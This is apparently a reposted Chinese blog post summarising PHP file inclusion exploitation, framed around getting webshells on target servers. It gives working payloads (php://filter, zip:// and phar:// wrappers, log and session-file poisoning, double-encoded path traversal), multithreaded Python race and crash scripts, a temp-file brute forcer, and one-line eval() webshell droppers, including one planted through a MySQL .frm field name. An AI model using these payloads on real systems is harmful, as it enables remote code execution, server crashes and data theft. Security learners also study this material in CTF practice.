当前位置:   article > 正文

PHP文件包含漏洞总结

php文件包含漏洞

文件包含不一定非要包含php文件,只要文件中包含一块完整的php代码,就可以通过文件包含来执行这段代码,例如:1.txt的内容为<?php phpinfo();?>

当1.txt被2.php包含的时候,比如说2.php的内容为:<?php include($_GET['a']);?> 那么当我们在URL中get传参:?a = 1.txt 的时候,就会动态生成了<?php include('1.txt');?>,即<?php phpinfo()?>

这意味着文件包含漏洞可以和文件上传漏洞结合使用:

比如:目标服务器文件上传功能采用白名单效验机制,我们只能上传.jpg后缀的文件,那么我们可以通过文件包含漏洞让.jpg文件被php文件包含,从而作为php文件解析。

如果包含的文件中没有php代码块,那么include  和require 就变成了一个读文件的函数

比如:

include("/etc/passwd") 就会将/etc/passwd 中的内容读取出来。

php代码块的几种形式总结:

<?php

<script language=php></script>

 

文件包含分为本地文件包含(LFI)和远程文件包含(RFI),远程文件包含需要在php.ini中开启 allow_url_include =On(默认是关闭的 )

远程文件包含 :

[http|https|ftp]://www.bbb.com/shell.txt

若后缀名写死,可以用?绕过

例如:

include($_GET['a']+'.php')

a= http://www.bbb.com/shell.txt?abc

 

一些协议:

include(zip://zip文件所在路径#zip中包含的文件名)

可以直接包含zip中压缩的文件

例如:因为该题目源码中会添加.php后缀,随意这里的文件名没有php后缀

include(phar://压缩包所在路径/压缩包中包含的php文件名)

可以直接包含压缩包中的php文件

这两种协议比较强大,无所谓后缀名

也就是说,如果将一个压缩包的后缀名改为.jpg上传上去,也可以通过上述方法包含压缩包之中的文件

php://filter

用于读文件 并且可以指定过滤器来对文件内容进行处理,比如base64的编解码

include("php://filter/convert.base64-encode/resource=index.php")

php://input

读取post传参字符串

前提:allow_url_include=On

例如:file_get_contents("php://input")

文件包含漏洞可以利用具体场景总结:

1.日志文件

因为web请求会被写入日志文件,所以可以将payload写在请求的url中,让payload写入日志文件(比如大马),然后在文件包含日志文件,生成小马

apache默认日志文件路径:/var/log/apache2/access.log

错误日志文件:/var/log/apache2/error.log

2.session文件

不论php脚本有没有处理上传文件,都可以向任意php脚本发送文件上传的post报文。

如果发送的报文携带有Cookie:PHPSESSID=内容可控

并且上传了文件,

并且发送了一个post传参 PHP_SESSION_UPLOAD_PROGRESS:内容可控

那么就会在php 存放sess文件的目录(默认为/tmp,可以在phpinfo的session_save_path中查到)下生成一个指定的sess文件

sess文件名 由PHPSESSID控制

sess文件的内容中包含有PHP_SESSION_UPLOAD_PROGRESS的值

前提:

php.ini 中的session.upload_progress.enabled 开启(默认是开启的)

发送post报文的脚本如下:

  1. import requests
  2. import threading
  3. class Worker(threading.Thread):
  4. def __init__(self):
  5. threading.Thread.__init__(self)
  6. def run(self):
  7. while(True):
  8. url = "http://192.168.0.104/phpinfo.php"
  9. headers={
  10. "Cookie":"PHPSESSID=icancontrolit"
  11. }
  12. files = {
  13. "myfile" : ("myfile.php", open("desc.py", "rb")),
  14. }
  15. data = {
  16. "PHP_SESSION_UPLOAD_PROGRESS" : "lalal",
  17. }
  18. resp = requests.post(url=url,files=files,headers=headers,data=data)
  19. print(resp.text)
  20. thread_count=100
  21. threads = []
  22. for i in range(thread_count):
  23. threads.append(Worker())
  24. for t in threads:
  25. t.start()
  26. for t in threads:
  27. t.join()
  28. # curl -x 127.0.0.1:8080 http://192.168.0.107/index.php -F "PHP_SESSION_UPLOAD_PROGRESS=aaaaa" -F "file=@/etc/passwd" -H "Cookie:PHPSESSID=icancontrol"

那么就可以将大马写入到该sess文件中,然后文件包含它,生成小马。

这sess文件的内容很快会被删除掉,所以需要一边不断发,一边不断去包含该文件

例题:

有一道题目是这样的:

存在文件包含漏洞,但是文件包含有条件:被包含文件必须以@<?php 开头

所以不能直接包含sess文件,需要将开头的upload_progress_ 给想办法搞消失

思路:

利用base64编码:base64编码没有固定长度,但是每个位能用的base64 的合法字符只有64个A-Za-z0-9/+

3个字符 用 4个base64字符进行编码

因为3个字符一共3*8 =24位,一共有2**24种可能,正好 =64**4

= 并不是base64编码字符,只是一个无意义的占位符

base64解码前将非合法字符都剔除掉,然后4位4位解码

所以我们可以利用3次base64解码让upload_progress_ 消失掉

  1. <?php
  2. $prefix = "upload_progress_";
  3. // echo strlen($prefix); //16位 去掉_不算 只有14位base64合法字符,需要再补2位
  4. // 4 4 4 4
  5. // 3 3 3 3 =12 4 4 4
  6. // 3 3 3= 9 =4*2+1
  7. // 3 3 1
  8. $word = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/";
  9. for($i=0;$i<64;$i++){
  10. for($j=0;$j<64;$j++){
  11. $data = $prefix.substr($word,$i,1).substr($word,$j,1);
  12. if(base64_decode(base64_decode(base64_decode($data)))==''){
  13. file_put_contents('result3.txt',$data."\n",FILE_APPEND);
  14. }
  15. }
  16. }

将payload进行3次base64编码

  1. import string
  2. from random import sample,randint
  3. from base64 import b64encode
  4. payload = "@<?php file_put_contents('h.php','@<?php eval($_GET[1]);?>')?>"
  5. print(len(payload)) #62
  6. while 1:
  7. junk =''.join(sample(string.ascii_letters,randint(4,12))) #随机取3到12ascii字符
  8. x = b64encode((payload+junk).encode('utf-8'))
  9. xx = b64encode(x)
  10. xxx = b64encode(xx)
  11. if '=' not in x.decode("utf-8") and '=' not in xx.decode('utf-8') and '='not in xxx.decode('utf-8'):
  12. print(xxx)
  13. break
  14. else:
  15. print("error:%s"%(xxx.decode("utf-8")))

文件包含的时候,通过php://filter 进行三次base64解码即可

php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=sess文件的位置

3.利用phpinfo

向服务器上任意php脚本发送post文件上传报文,都生成临时文件来存储该文件,当会话结束时删除掉该文件

只要能在该时间内文件包含 该临时文件,就可以实现大马种小马

可以通过向可以显示phpinfo的php文件发送post文件上传报文,来查看临时文件的位置和名称

我自己写了一个脚本跑了跑,一直没成功,可能是因为这个文件删除的太快了。暂且搁置:

hh.php

@<?php file_put_contents('/tmp/mom.php','@<?php eval($_GET["a"]);?>');?>
  1. import requests
  2. import threading
  3. import re
  4. import queue
  5. class Worker(threading.Thread):
  6. def __init__(self):
  7. threading.Thread.__init__(self)
  8. def run(self):
  9. while(True):
  10. base_url ="http://192.168.0.105"
  11. phpinfo_url = base_url+"/phpinfo.php"
  12. files = {
  13. "myfile" : ("myfile.php", open("hh.php", "r")),
  14. }
  15. resp = requests.post(url=phpinfo_url,files=files)
  16. # print(resp.text)
  17. matches = re.findall(r"\[tmp_name\] =&gt; ([^\[]+)",resp.text)
  18. tmp_file_path = matches[0].strip("\n").strip();
  19. load_url = base_url+"/load.php?load=%s"%(tmp_file_path)
  20. resp= requests.get(load_url)
  21. print("%s:%d"%(load_url,len(resp.text)))
  22. thread_count=100
  23. threads = []
  24. for i in range(thread_count):
  25. threads.append(Worker())
  26. for t in threads:
  27. t.start()
  28. for t in threads:
  29. t.join()

4.PHP自包含

a.php?include=a.php

这样会导致无限递归,导致爆栈,使得php重启,

如果该请求中还包含有一个上传文件,那么临时文件就不会被删除

可能需要多线程来导致php崩溃,但是线程不能太多,太多可能导致服务器直接崩溃

经过测试:100个线程攻击大概4到5秒,基本就可以让其中一些请求崩溃从而长期存留下一些临时文件

  1. import requests
  2. import threading
  3. class Worker(threading.Thread):
  4. def __init__(self):
  5. threading.Thread.__init__(self)
  6. def run(self):
  7. while(True):
  8. url = "http://192.168.0.104/load.php?load=load.php"
  9. files = {
  10. "myfile" : ("myfile.php", open("phpinfo.php", "rb")),
  11. }
  12. resp = requests.post(url=url,files=files)
  13. print(resp.status_code)
  14. # print(resp.text)
  15. thread_count=100
  16. threads = []
  17. for i in range(thread_count):
  18. threads.append(Worker())
  19. for t in threads:
  20. t.start()
  21. for t in threads:
  22. t.join()

接下来,要么通过其他漏洞得知该临时文件的位置和名称,要么通过不断发请求去爆破该临时文件。

5.PHP崩溃漏洞

经测试php版本>=7.4 修补了该漏洞

该漏洞一个显著的特点就是,当文件包含脚本,包含php://filter/string.strip_tags/resource=/etc/passwd 时,php会直接崩溃。从浏览器的视角看就是连接被重置,如果用脚本发请求,则会报ConnectionError的错误

如果在请求文件包含页面的时候,让它包含php://filter/string.strip_tags/resource=/etc/passwd,并且报文中附带有文件,那么该临时文件就会因php的崩溃而得以保留

利用脚本:

  1. import requests
  2. import threading
  3. ip = "127.0.0.1"
  4. port =8888
  5. base_url ="http://%s:%d"%(ip,port)
  6. lfi_url =base_url+"/xss/load.php?load="
  7. def main():
  8. while(True):
  9. try:
  10. url = lfi_url+"php://filter/string.strip_tags/resource=/etc/passwd"
  11. files = {
  12. "myfile" : ("myfile.php", open("phpinfo.php", "rb")),
  13. }
  14. resp = requests.post(url=url,files=files)
  15. print(resp.status_code)
  16. except requests.ConnectionError as e:
  17. print("PHP崩溃了,该临时文件得以保留")
  18. if __name__ =='__main__':
  19. main()

爆破脚本:

  1. import requests
  2. import string
  3. import re
  4. host="127.0.0.1"
  5. port =8888
  6. base_url = "http://%s:%d"%(host,port)
  7. lfi_url = base_url+"/xss/load.php?load="
  8. char_space = list(string.ascii_letters+string.digits)
  9. def parser(content):
  10. if(re.findall(r"PHP",content)):
  11. return True
  12. else:
  13. return False
  14. def main():
  15. for a in char_space:
  16. for b in char_space:
  17. for c in char_space:
  18. for d in char_space:
  19. for e in char_space:
  20. for f in char_space:
  21. tmp_file_name = "/Applications/MAMP/tmp/php/php"+a+b+c+d+e+f
  22. target_url =lfi_url+tmp_file_name
  23. resp = requests.get(target_url)
  24. if(parser(resp.text)):
  25. print("find it:%s"%(target_url))
  26. break
  27. else:
  28. print("fail:%s"%(target_url))
  29. if __name__ =='__main__':
  30. main()

文件包含导致的目录遍历:

如果没有文件包含漏洞,仅仅通过在url栏中操作,不论你如何../../../回退,都无法跳出服务器的公开目录,也是就说,你只能请求公开目录中的文件。

但是如果有文件包含漏洞,那么我们可以通过传参,../../../../../一直退到服务器的根目录,从而能够目录遍历,即访问服务器上任何一个文件夹中的任何一个文件,不论这个目录是公开目录还是非公开目录。

前提:

php.ini 中open_basedir 为no value (默认值)

如果配置了该值为某个目录,那么php脚本的所有文件操作 都限制在该目录下的文件。包括SESSION的使用,因为session本质上也是文件的读写

 

相对路径传参?a=dsjsalkdj/../ 这样写,虽然dsjsalkdj这个东西不存在,但是仍然可以退回到上级目录。在cmd中也可以这样写。但是在url栏中乱写的地方不能写一些特殊字符例如:#和?(但是可以写这两个字符的百分号编码%23.)因为php中是用?拿来传参的,当php解析器遇到?就认为后面是参数了,不认为是路径了。但是当这个参数被传给include()执行时,include()会把它作为路径解析,所以就出错了。但是,凡事没有绝对,利用?的url编码%3f加上/../../ 有时可以非常巧妙的绕过一些检验。注意这里一定是不能直接写?的,因为php解析器会把?之后的全部当成参数来对待,这是就会出错,而%3f只有在碰到GET类型传参时,才会被认为是传参的标志,因为GET类型传参会先进行url解码,解码之后%3f还是?然后,才将解码后的结果交给php解析器传参。这时我们可以尝试对%3f再进行一次url编码。%253f(双重编码绕过)

那么目录遍历漏洞如何利用呢?

数据库储存表 会将表存在相应的文件中。查看phpstudy中MySQL目录下的data。会发现数据库中的表都有相应的frm文件(文件名和表名同名!!),这个文件往之后翻,会看到对应表的字段名.

也就说假如我们将某个表的某个字段名,命名为<?php eval($_GET['a']);?>,那么这句话就会被写入到对应的.frm文件中去。

我们自己搭建一个服务器尝试一下:

1.创建一个包含有文件包含漏洞ceshi.php,参数为target

2.创建一个字段名为一句话木马的表zhuru(一句话木马的参数为a),记录下这个表的对应zhuru.frm文件的绝对路径

3.访问文件包含漏洞的php,构造如下传参:http://localhost/ceshi.php?target=../../../../../../../phpStudy/PHPTutorial/MySQL/data/test/zhuru.frm&a=phpinfo();

总结:也就是说,如果我们将SQL注入 与文件包含漏洞相互结合,即使一个网站不能文件上传,也能通过一句话木马拿到webshell。为什么必须得与文件包含漏洞相互结合呢?直接SQL注入,修改.frm文件为一句话木马不就可以了吗?nonono,因为.frm文件没有在公开目录www下,所以没有文件包含漏洞,我们是不能访问.frm这个木马的。不能请求的木马就是死马。

或者说只要你有对方phpadmin的账号和密码,即root权限,那么你就能通过一个文件包含漏洞,直接拿下webshell。

现在只剩下一个问题,如何知道.frm文件的绝对路径呢?如果存在SQL注入漏洞,那么SELECT @@datadir  就能返回到data文件夹的绝对路径。剩余在后面加上 数据库名/表名 就可以啦。

 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/2023面试高手/article/detail/617571
推荐阅读
相关标签
  

闽ICP备14008679号